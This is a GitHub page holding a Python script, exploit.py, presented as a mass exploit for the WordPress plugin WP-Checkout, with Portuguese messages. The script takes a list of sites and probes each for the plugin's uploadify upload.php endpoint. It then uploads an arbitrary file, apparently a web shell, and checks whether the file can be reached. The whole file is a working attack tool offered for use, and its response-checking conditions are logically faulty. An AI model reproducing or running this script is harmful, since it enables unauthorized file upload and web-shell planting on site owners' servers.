forked from 2inf3rnal/wp-checkout-exploit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
99 lines (87 loc) · 4.04 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# Filedata
import colorama # pip3 install colorama
from colorama import Fore as F
import requests as r # pip3 install requests
import argparse as arg
import os as sistema
import sys
sistema.system('cls' if sistema.name == 'nt' else 'reset')
def arruma(url):
if url[-1] != "/":
url = url + "/"
if url[:7] != "http://" and url[:8] != "https://":
url = "http://" + url
return url
user_agent = {'User-agent': 'Mozilla/5.0'}
index = r"""{}
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::{}
__ __ _ _____
\ \ / / | | / ____|
\ \_/ / _ _ __ | | _____ _ __ ___| | _ __ _____ __
\ / | | | '_ \| |/ / _ \ '__/ __| | | '__/ _ \ \ /\ / /
| || |_| | | | | < __/ | \__ \ |____| | | __/\ V V /
|_| \__,_|_| |_|_|\_\___|_| |___/\_____|_| \___| \_/\_/
{}Wordpress Plugin "WP-Checkout" mass exploit
{}Autor: {}Supr3m0 (Yunkers Crew)
{}Github: {}www.github.com/2inf3rnal/
{}Skype: {}inf3rnal.king
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::""".format(F.WHITE, F.CYAN, F.WHITE, F.CYAN, F.WHITE, F.CYAN, F.WHITE, F.CYAN, F.WHITE)
manual = """{}--lista {}Lista com os sites.
{}--arquivo {}Arquivo que será upado no site.
{}--threads {}Quantidade de requisições (Default = 10)
{}Use: {}python3 {} --lista <sites> --arquivo <index> --threads 5""".format(F.CYAN, F.WHITE, F.CYAN, F.WHITE, F.CYAN, F.WHITE, F.CYAN, F.WHITE, sys.argv[0])
if len(sys.argv) == 1:
print(index)
print(manual)
exit()
parser = arg.ArgumentParser(description = "By Supr3m0")
parser.add_argument("--lista", "-l", action='store')
parser.add_argument("--arquivo", "-a", action='store')
parser.add_argument("--threads", "-t", action='store', type = int, default = 10)
param = parser.parse_args()
if not param.lista:
print("{}[-] {}Insira a lista com os devidos sites!".format(F.RED, F.WHITE))
exit()
if not param.arquivo:
print("{}[-] {}Insira o arquivo que será upado no site!".format(F.RED, F.WHITE))
exit()
print(index)
print("{}[+] {}Lista de sites: {}".format(F.CYAN, F.WHITE, param.lista))
print("{}[+] {}Arquivo que será upado: {}".format(F.CYAN, F.WHITE, param.arquivo))
print("\n{}[...] {}Lendo lista de sites...".format(F.CYAN, F.WHITE))
try:
lista = open(param.lista, "r")
lista = lista.readlines()
lista = [site.replace("\n", "") for site in lista]
arquivo = open(param.arquivo, "rb")
except Exception as err:
print("{}[-] {}Algum erro aconteceu ao tentar abrir os arquivos {} / {}".format(F.CYAN, F.WHITE, param.lista, param.arquivo))
exit()
print("{}[+] {}Total de sites: {}".format(F.CYAN, F.WHITE, str(len(lista))))
print("\n{}[...] {}Iniciando exploração em massa!".format(F.CYAN, F.WHITE))
payload = {"Filedata" : arquivo}
try:
for site in lista:
url = arruma(site) + "wp-content/plugins/wp-checkout/vendors/uploadify/upload.php"
checa = r.get(url)
if checa.status_code != 404 and not "404" or "not found" or "internal" or "500" or "403" in checa.text:
print("{}\n[!] {}O site {} pode está vulnerável!".format(F.GREEN, F.WHITE, site))
print("{} [...] {}Inserindo payload...".format(F.GREEN, F.WHITE))
envia = r.post(url, files=payload)
if not "404" or "not found" or "internal" or "500" or "403" in envia.text:
print("{} [...] {}Payload enviado com sucesso, verificando se o arquivo foi realmente upado...".format(F.GREEN, F.WHITE))
shell = arruma(site) + "wp-content/uploads/wp-checkout/uploadify/" + envia.text
shell = r.get(shell)
if shell.status_code == 200:
print("{} [+] {}Arquivo enviada com sucesso: {}\n".format(F.GREEN, F.WHITE, arruma(site) + "wp-content/uploads/wp-checkout/uploadify/" + envia.text))
else:
print("{} [-] {}Não encontrei a shell.. -> {}\n".format(F.RED, F.WHITE,arruma(site) + "wp-content/uploads/wp-checkout/uploadify/" + envia.text))
continue
else:
print("{} [-] {}Erro ao enviar o payload...\n".format(F.RED, F.WHITE))
continue
else:
continue
except KeyboardInterrupt:
exit("bye")
print("\n{}[FINISH]{}".format(F.CYAN, F.WHITE))